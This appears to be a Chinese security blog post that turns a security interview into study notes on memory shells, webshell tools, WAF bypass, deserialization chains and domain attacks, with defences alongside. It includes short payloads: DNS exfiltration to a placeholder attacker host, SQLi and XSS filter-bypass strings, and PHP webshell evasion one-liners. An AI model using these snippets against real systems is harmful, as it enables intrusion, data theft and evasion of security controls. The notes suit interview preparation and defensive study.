网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
某四字大厂面试复盘扩展 一面
一、Java内存马原理与查杀
二、冰蝎与哥斯拉原理对比(技术演进)
三、WAF绕过实战技巧(多漏洞视角)
四、Webshell免杀技术(多语言实践)
五、Fastjson反序列化漏洞(全链条解析)
六、红黑树与HashMap原理(数据结构深度)
七、内网渗透与域控攻防(实战进阶)
八、RASP原理与对抗(运行时防护)
九、PHP与Golang安全问题(语言特性缺陷)
某四字大厂面试复盘扩展 一面
java内存马的原理和利用 如何查杀javan内存马,分别从工具和原理角度说说 冰蝎和哥斯拉了解吗,讲讲原理 有绕waf的实战经验吗,从各种漏洞的角度讲下 熟悉webshell免杀吗,讲下原理 做过其他免杀吗,比如结合cs和msfvenom的 谈谈fastjson反序列化原理和常见利用链吧 红黑树原理 hashmap原理 内网渗透、域控相关的实战经验 java反序列化cc链实战原理 sqlmap原理 Mysql为什么要用b+树 linux内核的漏洞 python的沙箱逃逸 python的flask模板注入 抽象语法树 rasp的概念和原理 rasp的对抗 php和golang语法本身的安全问题
一、Java内存马原理与查杀
- 内存驻留机制与动态注入
- 核心原理:利用Java反射机制动态注册Filter/Servlet,或通过Instrumentation API修改已加载类的字节码(如
java.lang.instrument
)。- 实战案例:Tomcat中通过
ApplicationFilterChain
插入恶意Filter,拦截所有请求,内存中无文件落地。- 绕过检测:使用Unicode类名或动态生成类名(如
$Proxy123
)规避静态特征扫描。- 查杀工具:
- Java-memshell-scanner:基于YARA规则扫描JVM进程内存。
- BTrace脚本:监控
ClassLoader.defineClass
等敏感API调用。- 防御策略:启用SecurityManager限制敏感操作,配置RASP拦截动态类加载。
- 内存马类型细分
- Agent型:通过
-javaagent
参数植入,绕过Web容器限制。- JSP型:利用JSP动态编译特性(如
org.apache.jasper.servlet.JspServlet
)。- Spring型:通过Controller注解或动态注册Bean注入恶意逻辑。
- 高级查杀技术
- 堆内存分析:使用Eclipse MAT搜索
javax.servlet.Filter
实现类,对比容器默认配置。- 流量行为检测:监控异常HTTP响应(如固定AES密钥传输、长连接维持)。
二、冰蝎与哥斯拉原理对比(技术演进)
- 加密与协议层对抗
- 冰蝎4.0:引入TLS双向认证,模拟合法HTTPS流量;支持WebSocket协议穿透代理。
- 哥斯拉3.0:采用分片传输+HTTPS心跳包伪装,绕过基于流量大小的检测规则。
- 内存免杀技术
- 冰蝎:通过JNI调用Native代码执行命令,绕过Java层监控。
- 哥斯拉:利用PHP的
FFI
扩展直接调用系统函数,规避system
/exec
关键字检测。- 检测与溯源方案
- 流量特征:冰蝎默认User-Agent为
Java/1.8
,哥斯拉PHP版本含@eval($_POST[1]);
特征。- 日志分析:检查非常规文件访问(如
.jsp
访问.ico
资源)。
三、WAF绕过实战技巧(多漏洞视角)
- SQL注入绕过
- 分块传输:利用
Transfer-Encoding: chunked
拆分UNION SELECT
为多个数据包。- 空白符填充:
SEL/*!88888EC*/T 1
绕过正则表达式检测。- 字符集混淆:使用
GBK
宽字节注入(如%df%27
转义单引号)。- RCE绕过
- 无回显利用:通过DNS日志外带数据(如
ping $(whoami).attacker.com
)。- 环境变量拼接:
/bi${PATH:0:1}n/sh
绕过字符串黑名单。- XSS高级技巧
- HTML5特性:利用
<details ontoggle=alert(1)>
触发事件。- SVG标签:
<svg><script>alert(1)</script></svg>
绕过传统标签过滤。
四、Webshell免杀技术(多语言实践)
- Java免杀
- 反射调用:
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd")
。- 字节码加密:使用XOR加密Class文件,ClassLoader加载时动态解密。
- PHP免杀
- 回调函数:
array_map("as"."sert", array($_POST["cmd"]))
拼接函数名。- 异或加密:
$_="!%^"^"@*&"; $$_($_POST[1]);
生成可变函数名。- .NET免杀
- 动态编译:通过
CodeDomProvider
编译内存中的C#代码。- CLR Hook:劫持
System.IO.File
类方法,绕过文件读写检测。
五、Fastjson反序列化漏洞(全链条解析)
- 利用链构造
- JNDI注入链:
JdbcRowSetImpl
→setDataSourceName
→ JNDI lookup触发RCE。- TemplatesImpl链:利用
_bytecodes
字段加载恶意字节码,触发getOutputProperties
方法。- 绕过黑名单策略
- 非公开类利用:如
org.apache.ibatis.parsing.PropertyParser
触发EL表达式。- AutoCloseable接口:通过
close()
方法触发恶意逻辑。- 防御方案
- 启用SafeMode:禁用
@type
功能,彻底阻断反序列化漏洞。- 升级至2.0+版本:重构反序列化机制,默认关闭自动类型解析。
六、红黑树与HashMap原理(数据结构深度)
- 红黑树核心规则
- 节点为红或黑,根节点为黑,叶子节点(NIL)为黑。
- 红节点的子节点必须为黑,任意路径黑节点数相同。
- HashMap优化细节
- 负载因子:默认0.75,平衡空间与时间效率。
- 扩容机制:当元素数超过
容量*负载因子
时,扩容为2倍并重新哈希。- 线程安全问题
- JDK7死循环:并发扩容导致链表成环(已修复)。
- ConcurrentHashMap替代:分段锁(JDK7)或CAS+synchronized(JDK8)。
七、内网渗透与域控攻防(实战进阶)
- 横向移动技术
- Pass-the-Hash:利用NTLM哈希直接认证,无需明文密码。
- DCOM组件滥用:通过MMC20.Application远程执行命令。
- 域控攻击链
- Kerberoasting:破解服务票据(TGS)获取服务账户密码。
- AD CS攻击:伪造证书链获取域管权限(如ESC1漏洞)。
- 防御与检测
- 监控DCSync操作:配置SACL审计
DS-Replication-Get-Changes
事件。- 限制特权组权限:避免普通用户加入
Exchange Windows Permissions
组。
八、RASP原理与对抗(运行时防护)
- 核心技术
- Java Agent:通过
premain
方法注入,Hook敏感API(如ClassLoader
)。- 动态污点跟踪:标记外部输入数据,跟踪其传播路径(如SQL查询拼接)。
- 绕过手段
- JNI调用:直接调用
fork()
或execve()
执行命令,绕过Java层Hook。- 内存操作:通过
Unsafe类
修改RASP自身字节码,使其失效。- 产品对比
- OpenRASP:开源方案,支持Tomcat、Spring等环境。
- 商业方案:Imperva、Prevailion提供AI驱动的行为分析。
九、PHP与Golang安全问题(语言特性缺陷)
- PHP漏洞场景
- 反序列化漏洞:
__wakeup
或__destruct
方法中的危险操作。- 文件包含:
include($_GET["file"])
导致任意代码执行。- Golang风险点
- CGO组件:C语言交互引入的内存溢出风险。
- 依赖管理:第三方库未经验证可能导致供应链攻击(如恶意
go.mod
)。- 安全编码建议
- PHP:禁用
eval()
,使用htmlspecialchars
防御XSS。- Golang:启用
-race
检测竞态条件,避免使用unsafe
包。